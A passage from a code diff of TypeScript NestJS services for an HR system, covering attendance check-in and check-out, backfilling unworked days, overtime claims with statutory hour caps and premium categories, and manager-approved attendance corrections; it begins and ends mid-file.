if (existing?.checkIn) {
throw new ConflictException(
`Already checked in at ${existing.checkIn.toISOString()}. Use a ` +
"regularization to correct it.",
);
}
const schedule = await this.schedules.resolveFor(
employeeId,
organizationId,
workDate,
);
const context = await this.days.contextFor(
employeeId,
organizationId,
workDate,
schedule,
);
// Working on a rest day or a holiday is allowed and recorded — it is how
// overtime on those days gets evidenced (3.3 slice 2). What is NOT allowed
// is punching in on a day already covered by approved leave: one of the two
// records is wrong, and silently accepting both leaves payroll to guess.
if (context.leave && !context.leave.isHalfDay) {
throw new ConflictException(
`${workDate} is covered by approved ${context.leave.leaveTypeCode} ` +
"leave. Cancel the leave first if they are in fact working.",
);
}
const measured = AttendanceDayService.measure(schedule, workDate, at, null);
if (existing) {
return (
(await this.attendance.update(existing.id, {
checkIn: at,
source,
notes: notes ?? existing.notes,
status: EAttendanceStatus.PRESENT,
lateMinutes: 0,
updatedBy: actor.userId,
})) ?? existing
);
}
return this.attendance.create({
organizationId,
employeeId,
workDate,
workScheduleId: schedule?.id ?? null,
checkIn: at,
source,
// Not final: lateness needs the schedule's start time, and the status is
// recomputed on check-out from what was actually worked.
status: EAttendanceStatus.PRESENT,
lateMinutes: measured.lateMinutes,
notes: notes ?? null,
createdBy: actor.userId,
} as Partial<AttendanceRecord>);
}
/** Clock out, and settle the day's numbers. */
async checkOut(
employeeId: string,
at: Date,
source: EAttendanceSource,
actor: ActorContext,
notes?: string,
): Promise<AttendanceRecord> {
const { workDate } = await this.resolveContext(employeeId, at, actor);
// A night shift clocks out on the following calendar day, so an open record
// from yesterday is the one being closed.
const record =
(await this.attendance.findForDate(employeeId, workDate)) ??
(await this.findOpenPreviousDay(employeeId, workDate));
if (!record?.checkIn) {
throw new BadRequestException(
"No check-in to close. Record the arrival first, or raise a " +
"regularization if it was missed.",
);
}
if (record.checkOut) {
throw new ConflictException(
`Already checked out at ${record.checkOut.toISOString()}.`,
);
}
if (at < record.checkIn) {
throw new BadRequestException("Check-out cannot be before check-in.");
}
const schedule = record.workSchedule ?? null;
const measured = AttendanceDayService.measure(
schedule,
record.workDate,
record.checkIn,
at,
);
return (
(await this.attendance.update(record.id, {
checkOut: at,
source,
notes: notes ?? record.notes,
workedMinutes: measured.workedMinutes,
lateMinutes: measured.lateMinutes,
earlyLeaveMinutes: measured.earlyLeaveMinutes,
status: AttendanceDayService.statusForWorkedDay(schedule, measured),
updatedBy: actor.userId,
})) ?? record
);
}
/**
* Record a day by hand — an administrator filling a gap.
*
* Kept separate from check-in/check-out because it is a different act: those
* assert "this is happening now", this asserts "this is what happened". The
* source records which, so a report can distinguish observed attendance from
* asserted attendance.
*/
async recordManually(
dto: RecordAttendanceDto,
actor: ActorContext,
): Promise<AttendanceRecord> {
const employee = await this.iamDirectory.requireEmployee(dto.employeeId);
const organizationId = employee.organizationId;
if (!organizationId) {
throw new BadRequestException(
`Cannot resolve an organization for employee ${dto.employeeId}`,
);
}
this.assertInScope(organizationId, actor);
const checkIn = dto.checkIn ? new Date(dto.checkIn) : null;
const checkOut = dto.checkOut ? new Date(dto.checkOut) : null;
if (checkIn && checkOut && checkOut < checkIn) {
throw new BadRequestException("checkOut cannot be before checkIn.");
}
const schedule = await this.schedules.resolveFor(
dto.employeeId,
organizationId,
dto.workDate,
);
const context = await this.days.contextFor(
dto.employeeId,
organizationId,
dto.workDate,
schedule,
);
let status: EAttendanceStatus;
let leaveRequestId: string | null = null;
let measured = { workedMinutes: 0, lateMinutes: 0, earlyLeaveMinutes: 0 };
if (checkIn) {
measured = AttendanceDayService.measure(
schedule,
dto.workDate,
checkIn,
checkOut,
);
status =
dto.status ?? AttendanceDayService.statusForWorkedDay(schedule, measured);
} else {
const derived = AttendanceDayService.statusForUnworkedDay(context);
status = dto.status ?? derived.status;
leaveRequestId = derived.leaveRequestId;
}
// ON_LEAVE without the leave to back it is refused by a CHECK constraint;
// catching it here says why instead of surfacing a constraint name.
if (status === EAttendanceStatus.ON_LEAVE && !leaveRequestId) {
throw new BadRequestException(
`No approved leave covers ${dto.workDate}, so this day cannot be marked ` +
"ON_LEAVE. Approve the leave request first.",
);
}
const existing = await this.attendance.findForDate(
dto.employeeId,
dto.workDate,
);
const payload = {
organizationId,
employeeId: dto.employeeId,
workDate: dto.workDate,
workScheduleId: schedule?.id ?? null,
checkIn,
checkOut,
status,
leaveRequestId,
...measured,
source: EAttendanceSource.MANUAL,
notes: dto.notes ?? null,
};
if (existing) {
return (
(await this.attendance.update(existing.id, {
...payload,
updatedBy: actor.userId,
})) ?? existing
);
}
return this.attendance.create({
...payload,
createdBy: actor.userId,
} as Partial<AttendanceRecord>);
}
/**
* Fill in the days nobody punched for.
*
* Only creates what is missing — an existing record is never touched, because
* this runs repeatedly and must not overwrite a punch or a correction. Days
* are classified as rest, holiday, leave or absence.
*/
async backfill(
employeeId: string,
from: string,
to: string,
actor: ActorContext,
): Promise<{ created: number; skipped: number; byStatus: Record<string, number> }> {
if (daysBetween(from, to) < 0) {
throw new BadRequestException("`to` cannot be before `from`.");
}
if (daysBetween(from, to) > MAX_BACKFILL_DAYS) {
throw new BadRequestException(
`Backfilling is limited to ${MAX_BACKFILL_DAYS} days at a time.`,
);
}
const employee = await this.iamDirectory.requireEmployee(employeeId);
const organizationId = employee.organizationId;
if (!organizationId) {
throw new BadRequestException(
`Cannot resolve an organization for employee ${employeeId}`,
);
}
this.assertInScope(organizationId, actor);
const profile = await this.employees.findByEmployeeId(employeeId);
if (!profile) {
throw new NotFoundException(
`${employeeId} has no HR profile, so there is nothing to attend.`,
);
}
const existing = await this.attendance.findRange(employeeId, from, to);
const have = new Set(existing.map((record) => record.workDate));
const byStatus: Record<string, number> = {};
let created = 0;
for (const workDate of AttendanceDayService.datesBetween(from, to)) {
if (have.has(workDate)) continue;
// Nothing before they joined — those days are not absences, they are days
// this person did not work here.
if (daysBetween(profile.hireDate, workDate) < 0) continue;
const schedule = await this.schedules.resolveFor(
employeeId,
organizationId,
workDate,
);
const context = await this.days.contextFor(
employeeId,
organizationId,
workDate,
schedule,
);
const derived = AttendanceDayService.statusForUnworkedDay(context);
await this.attendance.create({
organizationId,
employeeId,
workDate,
workScheduleId: schedule?.id ?? null,
status: derived.status,
leaveRequestId: derived.leaveRequestId,
notes: derived.notes,
source: EAttendanceSource.SYSTEM,
createdBy: actor.userId,
} as Partial<AttendanceRecord>);
byStatus[derived.status] = (byStatus[derived.status] ?? 0) + 1;
created += 1;
}
return { created, skipped: have.size, byStatus };
}
findRange(employeeId: string, from: string, to: string) {
return this.attendance.findRange(employeeId, from, to);
}
async findAll(
filters: {
employeeId?: string;
status?: EAttendanceStatus;
from?: string;
to?: string;
page?: number;
limit?: number;
},
actor: ActorContext,
): Promise<Paginated<AttendanceRecord>> {
const [items, total] = await this.attendance.findPage({
...filters,
organizationId: orgScope(actor),
});
return paginate(items, total, filters.page ?? 1, filters.limit ?? 25);
}
summary(
from: string,
to: string,
actor: ActorContext,
employeeId?: string,
): Promise<Record<string, number>> {
return this.attendance.summarize(orgScope(actor), employeeId, from, to);
}
/** Today's record for one employee — what the clock widget shows. */
async today(employeeId: string, at: Date): Promise<AttendanceRecord | null> {
return this.attendance.findForDate(employeeId, at.toISOString().slice(0, 10));
}
// ────────────────────────────────────────────────────────────────────────
private async resolveContext(
employeeId: string,
at: Date,
actor: ActorContext,
): Promise<{ organizationId: string; workDate: string }> {
const employee = await this.iamDirectory.requireEmployee(employeeId);
if (!employee.organizationId) {
throw new BadRequestException(
`Cannot resolve an organization for employee ${employeeId}`,
);
}
this.assertInScope(employee.organizationId, actor);
return {
organizationId: employee.organizationId,
workDate: at.toISOString().slice(0, 10),
};
}
/**
* An open record from the previous day, for a shift that ran past midnight.
* Only the immediately preceding day: anything older is a missed check-out
* and belongs in a regularization, not silently closed days later.
*/
private async findOpenPreviousDay(
employeeId: string,
workDate: string,
): Promise<AttendanceRecord | null> {
const previous = await this.attendance.findForDate(
employeeId,
new Date(Date.parse(`${workDate}T00:00:00Z`) - 86_400_000)
.toISOString()
.slice(0, 10),
);
if (!previous?.checkIn || previous.checkOut) return null;
return previous.workSchedule?.crossesMidnight ? previous : null;
}
private assertInScope(organizationId: string, actor: ActorContext): void {
const scope = orgScope(actor);
if (scope && organizationId !== scope) {
throw new NotFoundException("Employee not found");
}
}
}

View File

@@ -0,0 +1,510 @@
import {
BadRequestException,
ForbiddenException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { Repository } from "typeorm";
import { ActorContext, orgScope } from "../../employees/employees.service";
import { EmployeesRepository } from "../../employees/employees.repository";
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
import { Paginated, paginate } from "../../../common/pagination.dto";
import {
EOvertimeCategory,
EOvertimeStatus,
OvertimeRate,
OvertimeRequest,
} from "../entities/overtime.entity";
import { AttendanceDayService } from "./attendance-day.service";
import { WorkSchedulesService } from "./work-schedules.service";
import { STATUTORY_OVERTIME_RATES } from "../statutory-overtime-rates";
import { addDays } from "../../leave/services/working-days.service";
import { CreateOvertimeDto } from "../dto/overtime.dto";
/** Art. 67 ceilings, applied across requests rather than per request. */
const MAX_HOURS_PER_MONTH = 20;
const MAX_HOURS_PER_YEAR = 100;
/** Night work under Art. 68(1)(b). */
const NIGHT_STARTS_HOUR = 22;
const NIGHT_ENDS_HOUR = 6;
@Injectable()
export class OvertimeService {
constructor(
@InjectRepository(OvertimeRate)
private readonly rates: Repository<OvertimeRate>,
@InjectRepository(OvertimeRequest)
private readonly requests: Repository<OvertimeRequest>,
private readonly schedules: WorkSchedulesService,
private readonly days: AttendanceDayService,
private readonly employees: EmployeesRepository,
private readonly iamDirectory: IamDirectoryService,
) {}
/**
* Seed the statutory premiums. Idempotent by category, and an existing rate is
* never lowered back to the statutory floor — an employer who pays 2× for
* night work keeps paying it.
*/
async seedStatutory(
actor: ActorContext,
): Promise<{ created: string[]; skipped: string[] }> {
const organizationId = this.requireOrg(actor);
const created: string[] = [];
const skipped: string[] = [];
for (const seed of STATUTORY_OVERTIME_RATES) {
const existing = await this.rates.findOne({
where: { organizationId, category: seed.category },
});
if (existing) {
skipped.push(seed.category);
continue;
}
await this.rates.save(
this.rates.create({
...seed,
organizationId,
createdBy: actor.userId,
} as Partial<OvertimeRate>),
);
created.push(seed.category);
}
return { created, skipped };
}
listRates(actor: ActorContext): Promise<OvertimeRate[]> {
const organizationId = orgScope(actor) ?? actor.organizationId;
return this.rates.find({
where: organizationId ? { organizationId } : {},
order: { category: "ASC" },
});
}
async updateRate(
id: string,
dto: { multiplier?: string; maxHoursPerDay?: string | null },
actor: ActorContext,
): Promise<OvertimeRate> {
const rate = await this.rates.findOne({ where: { id } });
if (!rate) throw new NotFoundException(`Overtime rate ${id} not found`);
const scope = orgScope(actor);
if (scope && rate.organizationId !== scope) {
throw new NotFoundException(`Overtime rate ${id} not found`);
}
// The statute is a floor. Refusing to go below it here is cheaper than
// discovering it in a labour dispute.
const statutory = STATUTORY_OVERTIME_RATES.find(
(seed) => seed.category === rate.category,
);
if (dto.multiplier && statutory && Number(dto.multiplier) < Number(statutory.multiplier)) {
throw new BadRequestException(
`${rate.category} overtime cannot be paid below ${statutory.multiplier}× ` +
`— that is the statutory minimum (${statutory.statuteReference}).`,
);
}
await this.rates.update(id, { ...dto, updatedBy: actor.userId });
return (await this.rates.findOne({ where: { id } })) ?? rate;
}
/**
* Which premium applies to a stretch of work.
*
* A public holiday beats a rest day, which beats night, which beats ordinary
* overtime — most generous first, because a shift can satisfy several and the
* employee is owed the highest that applies.
*/
async categorize(
employeeId: string,
organizationId: string,
workDate: string,
startedAt: Date,
endedAt: Date,
): Promise<EOvertimeCategory> {
const schedule = await this.schedules.resolveFor(
employeeId,
organizationId,
workDate,
);
const context = await this.days.contextFor(
employeeId,
organizationId,
workDate,
schedule,
);
if (context.isHoliday) return EOvertimeCategory.PUBLIC_HOLIDAY;
if (!context.isWorkingDay) return EOvertimeCategory.REST_DAY;
return OvertimeService.touchesNight(startedAt, endedAt)
? EOvertimeCategory.NIGHT
: EOvertimeCategory.DAY;
}
/**
* Whether any part of the work falls in the night window.
*
* Any overlap counts as night, rather than splitting the claim in two. That is
* the employee-favourable reading and it keeps one stretch of work as one
* record; splitting would be defensible too, but it must then be done
* consistently in payroll, and one rule in one place is worth more than a
* marginally more precise rule in two.
*/
private static touchesNight(startedAt: Date, endedAt: Date): boolean {
const cursor = new Date(startedAt);
while (cursor < endedAt) {
const hour = cursor.getHours();
if (hour >= NIGHT_STARTS_HOUR || hour < NIGHT_ENDS_HOUR) return true;
cursor.setMinutes(cursor.getMinutes() + 30);
}
return false;
}
async create(
dto: CreateOvertimeDto,
actor: ActorContext,
): Promise<OvertimeRequest> {
const employeeId = dto.employeeId ?? actor.employeeId;
if (!employeeId) {
throw new BadRequestException(
"No employee to file this against — this account has no employee record.",
);
}
const employee = await this.iamDirectory.requireEmployee(employeeId);
const organizationId = employee.organizationId;
if (!organizationId) {
throw new BadRequestException(
`Cannot resolve an organization for employee ${employeeId}`,
);
}
const scope = orgScope(actor);
if (scope && organizationId !== scope) {
throw new NotFoundException(`Employee ${employeeId} not found`);
}
const startedAt = new Date(dto.startedAt);
const endedAt = new Date(dto.endedAt);
if (endedAt <= startedAt) {
throw new BadRequestException("endedAt must be after startedAt.");
}
const hours = Number(
((endedAt.getTime() - startedAt.getTime()) / 3_600_000).toFixed(2),
);
if (hours > 24) {
throw new BadRequestException("A single claim cannot exceed 24 hours.");
}
// The day the work belongs to — night work belongs to the day it began, so
// a shift starting 22:00 Monday is Monday's overtime, not Tuesday's.
const workDate = dto.workDate ?? startedAt.toISOString().slice(0, 10);
const category = await this.categorize(
employeeId,
organizationId,
workDate,
startedAt,
endedAt,
);
const rate = await this.rates.findOne({
where: { organizationId, category },
});
if (!rate) {
throw new BadRequestException(
`No ${category} overtime rate is configured for this organization. ` +
"Seed the statutory rates first.",
);
}
await this.assertWithinLimits(
employeeId,
workDate,
hours,
category,
rate,
);
const profile = await this.employees.findByEmployeeId(employeeId);
const approverEmployeeId =
profile?.managerEmployeeId ??
(await this.iamDirectory.findLineManagerEmployeeId(employeeId));
return this.requests.save(
this.requests.create({
organizationId,
employeeId,
workDate,
startedAt,
endedAt,
hours: hours.toFixed(2),
category,
// Frozen here: a rate change next year must not reprice this claim.
multiplier: rate.multiplier,
status: EOvertimeStatus.SUBMITTED,
reason: dto.reason ?? null,
approverEmployeeId,
createdBy: actor.userId,
} as Partial<OvertimeRequest>),
);
}
async approve(
id: string,
note: string | undefined,
actor: ActorContext,
): Promise<OvertimeRequest> {
const request = await this.requireRequest(id, actor);
this.assertPending(request);
if (request.employeeId === actor.employeeId) {
throw new ForbiddenException("You cannot approve your own overtime.");
}
// Re-checked at approval: other claims may have been approved since, and the
// monthly ceiling is about the total, not about any one request.
const rate = await this.rates.findOne({
where: { organizationId: request.organizationId, category: request.category },
});
await this.assertWithinLimits(
request.employeeId,
request.workDate,
Number(request.hours),
request.category,
rate ?? null,
request.id,
);
await this.requests.update(id, {
status: EOvertimeStatus.APPROVED,
decidedByEmployeeId: actor.employeeId ?? null,
decidedAt: new Date(),
decisionNote: note ?? null,
updatedBy: actor.userId,
});
return { ...request, status: EOvertimeStatus.APPROVED };
}
async reject(
id: string,
note: string,
actor: ActorContext,
): Promise<OvertimeRequest> {
const request = await this.requireRequest(id, actor);
this.assertPending(request);
await this.requests.update(id, {
status: EOvertimeStatus.REJECTED,
decidedByEmployeeId: actor.employeeId ?? null,
decidedAt: new Date(),
decisionNote: note,
updatedBy: actor.userId,
});
return { ...request, status: EOvertimeStatus.REJECTED };
}
async withdraw(id: string, actor: ActorContext): Promise<OvertimeRequest> {
const request = await this.requireRequest(id, actor);
this.assertPending(request);
await this.requests.update(id, {
status: EOvertimeStatus.WITHDRAWN,
updatedBy: actor.userId,
});
return { ...request, status: EOvertimeStatus.WITHDRAWN };
}
async findAll(
filters: {
employeeId?: string;
status?: EOvertimeStatus;
from?: string;
to?: string;
page?: number;
limit?: number;
},
actor: ActorContext,
): Promise<Paginated<OvertimeRequest>> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const qb = this.requests.createQueryBuilder("request");
const scope = orgScope(actor);
if (scope) {
qb.andWhere("request.organization_id = :scope", { scope });
}
if (filters.employeeId) {
qb.andWhere("request.employee_id = :employeeId", {
employeeId: filters.employeeId,
});
}
if (filters.status) {
qb.andWhere("request.status = :status", { status: filters.status });
}
if (filters.from) qb.andWhere("request.work_date >= :from", { from: filters.from });
if (filters.to) qb.andWhere("request.work_date <= :to", { to: filters.to });
const [items, total] = await qb
.orderBy("request.workDate", "DESC")
.skip((page - 1) * limit)
.take(limit)
.getManyAndCount();
return paginate(items, total, page, limit);
}
async findAwaitingMe(
actor: ActorContext,
page = 1,
limit = 25,
): Promise<Paginated<OvertimeRequest>> {
if (!actor.employeeId) return paginate([], 0, page, limit);
const [items, total] = await this.requests.findAndCount({
where: {
approverEmployeeId: actor.employeeId,
status: EOvertimeStatus.SUBMITTED,
},
order: { workDate: "DESC" },
skip: (page - 1) * limit,
take: limit,
});
return paginate(items, total, page, limit);
}
/**
* Approved-hours totals for a period — what payroll multiplies.
* Grouped by category because each carries a different multiplier.
*/
async approvedTotals(
employeeId: string,
from: string,
to: string,
): Promise<{ category: string; hours: number; multiplier: number }[]> {
const rows = await this.requests
.createQueryBuilder("request")
.select("request.category", "category")
.addSelect("SUM(request.hours)", "hours")
.addSelect("MAX(request.multiplier)", "multiplier")
.where("request.employee_id = :employeeId", { employeeId })
.andWhere("request.status = :status", { status: EOvertimeStatus.APPROVED })
.andWhere("request.work_date BETWEEN :from AND :to", { from, to })
.groupBy("request.category")
.getRawMany<{ category: string; hours: string; multiplier: string }>();
return rows.map((row) => ({
category: row.category,
hours: Number(row.hours),
multiplier: Number(row.multiplier),
}));
}
// ────────────────────────────────────────────────────────────────────────
/** Art. 67: two hours a day on an ordinary day, 20 a month, 100 a year. */
private async assertWithinLimits(
employeeId: string,
workDate: string,
hours: number,
category: EOvertimeCategory,
rate: OvertimeRate | null,
excludeRequestId?: string,
): Promise<void> {
const live = [EOvertimeStatus.SUBMITTED, EOvertimeStatus.APPROVED];
/**
* Half-open [from, until) rather than an inclusive BETWEEN.
*
* The inclusive form needs a real last-day-of-period, and constructing one
* by string — `${month}-31` — is invalid in every 30-day month and in
* February. It failed in September and passed in October, which is exactly
* the sort of bug that reaches production.
*/
const sumOver = async (from: string, until: string): Promise<number> => {
const qb = this.requests
.createQueryBuilder("request")
.select("COALESCE(SUM(request.hours), 0)", "total")
.where("request.employee_id = :employeeId", { employeeId })
.andWhere("request.status IN (:...live)", { live })
.andWhere("request.work_date >= :from", { from })
.andWhere("request.work_date < :until", { until });
if (excludeRequestId) {
qb.andWhere("request.id != :excludeRequestId", { excludeRequestId });
}
const row = await qb.getRawOne<{ total: string }>();
return Number(row?.total ?? 0);
};
if (rate?.maxHoursPerDay) {
const sameDay = await sumOver(workDate, addDays(workDate, 1));
const cap = Number(rate.maxHoursPerDay);
if (sameDay + hours > cap) {
throw new BadRequestException(
`${category} overtime is capped at ${cap} hours a day` +
(sameDay > 0 ? ` and ${sameDay} are already claimed` : "") +
`. This claim of ${hours} would exceed it. (Proc. 1156/2019 Art. 67)`,
);
}
}
const month = workDate.slice(0, 7);
const monthTotal = await sumOver(
`${month}-01`,
OvertimeService.firstOfNextMonth(month),
);
if (monthTotal + hours > MAX_HOURS_PER_MONTH) {
throw new BadRequestException(
`Overtime is capped at ${MAX_HOURS_PER_MONTH} hours a month; ` +
`${monthTotal} are already claimed for ${month}. (Art. 67)`,
);
}
const year = Number(workDate.slice(0, 4));
const yearTotal = await sumOver(`${year}-01-01`, `${year + 1}-01-01`);
if (yearTotal + hours > MAX_HOURS_PER_YEAR) {
throw new BadRequestException(
`Overtime is capped at ${MAX_HOURS_PER_YEAR} hours a year; ` +
`${yearTotal} are already claimed for ${year}. (Art. 67)`,
);
}
}
/** `2026-09` → `2026-10-01`. Rolls the year over at December. */
private static firstOfNextMonth(month: string): string {
const [year, monthNumber] = month.split("-").map(Number);
return monthNumber === 12
? `${year + 1}-01-01`
: `${year}-${String(monthNumber + 1).padStart(2, "0")}-01`;
}
private assertPending(request: OvertimeRequest): void {
if (request.status !== EOvertimeStatus.SUBMITTED) {
throw new BadRequestException(
`This claim is already ${request.status.toLowerCase()} and cannot be ` +
"decided again.",
);
}
}
private requireOrg(actor: ActorContext): string {
const organizationId = orgScope(actor) ?? actor.organizationId;
if (!organizationId) {
throw new BadRequestException(
"This account has no organization, and overtime rates belong to one.",
);
}
return organizationId;
}
private async requireRequest(
id: string,
actor: ActorContext,
): Promise<OvertimeRequest> {
const request = await this.requests.findOne({ where: { id } });
if (!request) throw new NotFoundException(`Overtime claim ${id} not found`);
const scope = orgScope(actor);
if (scope && request.organizationId !== scope) {
throw new NotFoundException(`Overtime claim ${id} not found`);
}
return request;
}
}

View File

@@ -0,0 +1,314 @@
import {
BadRequestException,
ConflictException,
ForbiddenException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { InjectDataSource, InjectRepository } from "@nestjs/typeorm";
import { DataSource, Repository } from "typeorm";
import { ActorContext, orgScope } from "../../employees/employees.service";
import { EmployeesRepository } from "../../employees/employees.repository";
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
import { Paginated, paginate } from "../../../common/pagination.dto";
import {
AttendanceRegularization,
ERegularizationStatus,
} from "../entities/attendance-regularization.entity";
import {
AttendanceRecord,
EAttendanceSource,
} from "../entities/attendance-record.entity";
import { AttendanceRepository } from "../repositories/attendance.repository";
import { AttendanceDayService } from "./attendance-day.service";
import { WorkSchedulesService } from "./work-schedules.service";
import { CreateRegularizationDto } from "../dto/regularization.dto";
@Injectable()
export class RegularizationsService {
constructor(
@InjectDataSource() private readonly dataSource: DataSource,
@InjectRepository(AttendanceRegularization)
private readonly regularizations: Repository<AttendanceRegularization>,
private readonly attendance: AttendanceRepository,
private readonly schedules: WorkSchedulesService,
private readonly employees: EmployeesRepository,
private readonly iamDirectory: IamDirectoryService,
) {}
async create(
dto: CreateRegularizationDto,
actor: ActorContext,
): Promise<AttendanceRegularization> {
const employeeId = dto.employeeId ?? actor.employeeId;
if (!employeeId) {
throw new BadRequestException(
"No employee to file this against — this account has no employee record.",
);
}
const employee = await this.iamDirectory.requireEmployee(employeeId);
const organizationId = employee.organizationId;
if (!organizationId) {
throw new BadRequestException(
`Cannot resolve an organization for employee ${employeeId}`,
);
}
const scope = orgScope(actor);
if (scope && organizationId !== scope) {
throw new NotFoundException(`Employee ${employeeId} not found`);
}
if (!dto.requestedCheckIn && !dto.requestedCheckOut) {
throw new BadRequestException(
"A correction must propose a check-in, a check-out, or both.",
);
}
if (
dto.requestedCheckIn &&
dto.requestedCheckOut &&
new Date(dto.requestedCheckOut) < new Date(dto.requestedCheckIn)
) {
throw new BadRequestException(
"The proposed check-out is before the proposed check-in.",
);
}
const open = await this.regularizations.findOne({
where: {
employeeId,
workDate: dto.workDate,
status: ERegularizationStatus.SUBMITTED,
},
});
if (open) {
throw new ConflictException(
`A correction for ${dto.workDate} is already awaiting a decision.`,
);
}
const record = await this.attendance.findForDate(employeeId, dto.workDate);
const profile = await this.employees.findByEmployeeId(employeeId);
const approverEmployeeId =
profile?.managerEmployeeId ??
(await this.iamDirectory.findLineManagerEmployeeId(employeeId));
return this.regularizations.save(
this.regularizations.create({
organizationId,
employeeId,
attendanceRecordId: record?.id ?? null,
workDate: dto.workDate,
requestedCheckIn: dto.requestedCheckIn
? new Date(dto.requestedCheckIn)
: null,
requestedCheckOut: dto.requestedCheckOut
? new Date(dto.requestedCheckOut)
: null,
reason: dto.reason,
status: ERegularizationStatus.SUBMITTED,
approverEmployeeId,
createdBy: actor.userId,
} as Partial<AttendanceRegularization>),
);
}
/**
* Approve, and apply the correction in the same transaction.
*
* The values being replaced are copied onto the request first. Without that,
* approving destroys the only evidence of what the record said — and "the
* system says I was late but I corrected it" is precisely the conversation
* this feature exists to settle.
*/
async approve(
id: string,
note: string | undefined,
actor: ActorContext,
): Promise<AttendanceRegularization> {
const request = await this.requireRequest(id, actor);
this.assertPending(request);
if (request.employeeId === actor.employeeId) {
throw new ForbiddenException(
"You cannot approve your own attendance correction.",
);
}
const schedule = await this.schedules.resolveFor(
request.employeeId,
request.organizationId,
request.workDate,
);
return this.dataSource.transaction(async (manager) => {
const records = manager.getRepository(AttendanceRecord);
const existing = await records.findOne({
where: { employeeId: request.employeeId, workDate: request.workDate },
});
const checkIn =
request.requestedCheckIn ?? existing?.checkIn ?? null;
const checkOut =
request.requestedCheckOut ?? existing?.checkOut ?? null;
if (!checkIn) {
throw new BadRequestException(
"This correction sets only a check-out, and there is no check-in on " +
"the record for it to close. Propose both.",
);
}
const measured = AttendanceDayService.measure(
schedule,
request.workDate,
checkIn,
checkOut,
);
const status = checkOut
? AttendanceDayService.statusForWorkedDay(schedule, measured)
: existing?.status ?? AttendanceDayService.statusForWorkedDay(schedule, measured);
const applied = {
checkIn,
checkOut,
status,
...measured,
isRegularized: true,
source: EAttendanceSource.MANUAL,
workScheduleId: schedule?.id ?? null,
updatedBy: actor.userId,
};
if (existing) {
await records.update(existing.id, applied);
} else {
await records.save(
records.create({
organizationId: request.organizationId,
employeeId: request.employeeId,
workDate: request.workDate,
...applied,
createdBy: actor.userId,
} as Partial<AttendanceRecord>),
);
}
await manager.getRepository(AttendanceRegularization).update(request.id, {
status: ERegularizationStatus.APPROVED,
// Captured now, not at submission — the record may have moved since.
originalCheckIn: existing?.checkIn ?? null,
originalCheckOut: existing?.checkOut ?? null,
originalStatus: existing?.status ?? null,
decidedByEmployeeId: actor.employeeId ?? null,
decidedAt: new Date(),
decisionNote: note ?? null,
updatedBy: actor.userId,
});
return { ...request, status: ERegularizationStatus.APPROVED };
});
}
async reject(
id: string,
note: string,
actor: ActorContext,
): Promise<AttendanceRegularization> {
const request = await this.requireRequest(id, actor);
this.assertPending(request);
await this.regularizations.update(id, {
status: ERegularizationStatus.REJECTED,
decidedByEmployeeId: actor.employeeId ?? null,
decidedAt: new Date(),
decisionNote: note,
updatedBy: actor.userId,
});
return { ...request, status: ERegularizationStatus.REJECTED };
}
async withdraw(
id: string,
actor: ActorContext,
): Promise<AttendanceRegularization> {
const request = await this.requireRequest(id, actor);
this.assertPending(request);
await this.regularizations.update(id, {
status: ERegularizationStatus.WITHDRAWN,
updatedBy: actor.userId,
});
return { ...request, status: ERegularizationStatus.WITHDRAWN };
}
async findAll(
filters: {
employeeId?: string;
status?: ERegularizationStatus;
page?: number;
limit?: number;
},
actor: ActorContext,
): Promise<Paginated<AttendanceRegularization>> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const qb = this.regularizations.createQueryBuilder("request");
const scope = orgScope(actor);
if (scope) qb.andWhere("request.organization_id = :scope", { scope });
if (filters.employeeId) {
qb.andWhere("request.employee_id = :employeeId", {
employeeId: filters.employeeId,
});
}
if (filters.status) {
qb.andWhere("request.status = :status", { status: filters.status });
}
const [items, total] = await qb
.orderBy("request.workDate", "DESC")
.skip((page - 1) * limit)
.take(limit)
.getManyAndCount();
return paginate(items, total, page, limit);
}
async findAwaitingMe(
actor: ActorContext,
page = 1,
limit = 25,
): Promise<Paginated<AttendanceRegularization>> {
if (!actor.employeeId) return paginate([], 0, page, limit);
const [items, total] = await this.regularizations.findAndCount({
where: {
approverEmployeeId: actor.employeeId,
status: ERegularizationStatus.SUBMITTED,
},
order: { workDate: "DESC" },
skip: (page - 1) * limit,
take: limit,
});
return paginate(items, total, page, limit);
}
private assertPending(request: AttendanceRegularization): void {
if (request.status !== ERegularizationStatus.SUBMITTED) {
throw new BadRequestException(
`This correction is already ${request.status.toLowerCase()} and cannot ` +
"be decided again.",
);
}
}
private async requireRequest(
id: string,
actor: ActorContext,
): Promise<AttendanceRegularization> {
const request = await this.regularizations.findOne({ where: { id } });
if (!request) throw new NotFoundException(`Correction ${id} not found`);
const scope = orgScope(actor);
if (scope && request.organizationId !== scope) {
throw new NotFoundException(`Correction ${id} not found`);
}
return request;
}
}

View File

@@ -0,0 +1,250 @@
import {
BadRequestException,
ConflictException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { ActorContext, orgScope } from "../../employees/employees.service";
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
import {
WorkScheduleAssignmentsRepository,
WorkSchedulesRepository,
} from "../repositories/work-schedules.repository";
import { WorkSchedule } from "../entities/work-schedule.entity";
import { WorkScheduleAssignment } from "../entities/work-schedule-assignment.entity";
import {
AssignScheduleDto,
CreateWorkScheduleDto,
UpdateWorkScheduleDto,
} from "../dto/work-schedule.dto";
import { addDays } from "../../leave/services/working-days.service";
@Injectable()
export class WorkSchedulesService {
constructor(
private readonly schedules: WorkSchedulesRepository,
private readonly assignments: WorkScheduleAssignmentsRepository,
private readonly iamDirectory: IamDirectoryService,
) {}
async create(
dto: CreateWorkScheduleDto,
actor: ActorContext,
): Promise<WorkSchedule> {
const organizationId = this.requireOrg(actor);
const clash = await this.schedules.findByCode(organizationId, dto.code);
if (clash) {
throw new ConflictException(`Work schedule ${dto.code} already exists`);
}
WorkSchedulesService.assertCoherent(dto);
if (dto.isDefault) await this.schedules.clearDefault(organizationId);
return this.schedules.create({
...dto,
organizationId,
createdBy: actor.userId,
} as Partial<WorkSchedule>);
}
async update(
id: string,
dto: UpdateWorkScheduleDto,
actor: ActorContext,
): Promise<WorkSchedule> {
const schedule = await this.requireSchedule(id, orgScope(actor));
WorkSchedulesService.assertCoherent({ ...schedule, ...dto });
if (dto.isDefault) await this.schedules.clearDefault(schedule.organizationId);
return (
